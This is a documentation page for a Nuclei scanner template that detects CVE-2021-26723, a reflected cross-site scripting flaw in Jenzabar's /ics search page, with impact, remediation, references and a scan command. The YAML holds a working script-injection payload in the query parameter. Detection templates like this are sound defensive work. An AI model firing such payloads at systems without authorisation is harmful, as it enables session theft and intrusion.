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Jenzabar 9.2x-9.2.2 - Cross-Site Scripting

ID: CVE-2021-26723

Severity: medium

Author: pikpikcu

Tags: cve2021,cve,packetstorm,jenzabar,xss

Description

Section titled “Description”

Jenzabar 9.2.x through 9.2.2 contains a cross-site scripting vulnerability. It allows /ics?tool=search&query.

YAML Source

Section titled “YAML Source”
id: CVE-2021-26723


info:
  name: Jenzabar 9.2x-9.2.2 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Jenzabar 9.2.x through 9.2.2 contains a cross-site scripting vulnerability. It allows /ics?tool=search&query.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of Jenzabar 9.2x-9.2.2.
  reference:
    - http://packetstormsecurity.com/files/161303/Jenzabar-9.2.2-Cross-Site-Scripting.html
    - https://gist.github.com/Y0ung-DST/d1b6b65be6248b0ffc2b2f2120deb205
    - https://jenzabar.com/blog
    - https://y0ungdst.medium.com/xss-in-jenzabar-cve-2021-26723-a0749231328
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26723
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-26723
    cwe-id: CWE-79
    epss-score: 0.07461
    epss-percentile: 0.94099
    cpe: cpe:2.3:a:jenzabar:jenzabar:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: jenzabar
    product: jenzabar
  tags: cve2021,cve,packetstorm,jenzabar,xss


http:
  - method: GET
    path:
      - "{{BaseURL}}/ics?tool=search&query=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "><script>alert(document.domain)</script>"


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
# digest: 490a00463044022014e69a8ed12917776d627dbe290b6d9dadadb5a5313ef6d8ce2ab21adff230ec0220756f581fc57a0ef39fbf41a788da0f91bcbd204d0450b9886a4ffe8fc2457524:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-26723.yaml"

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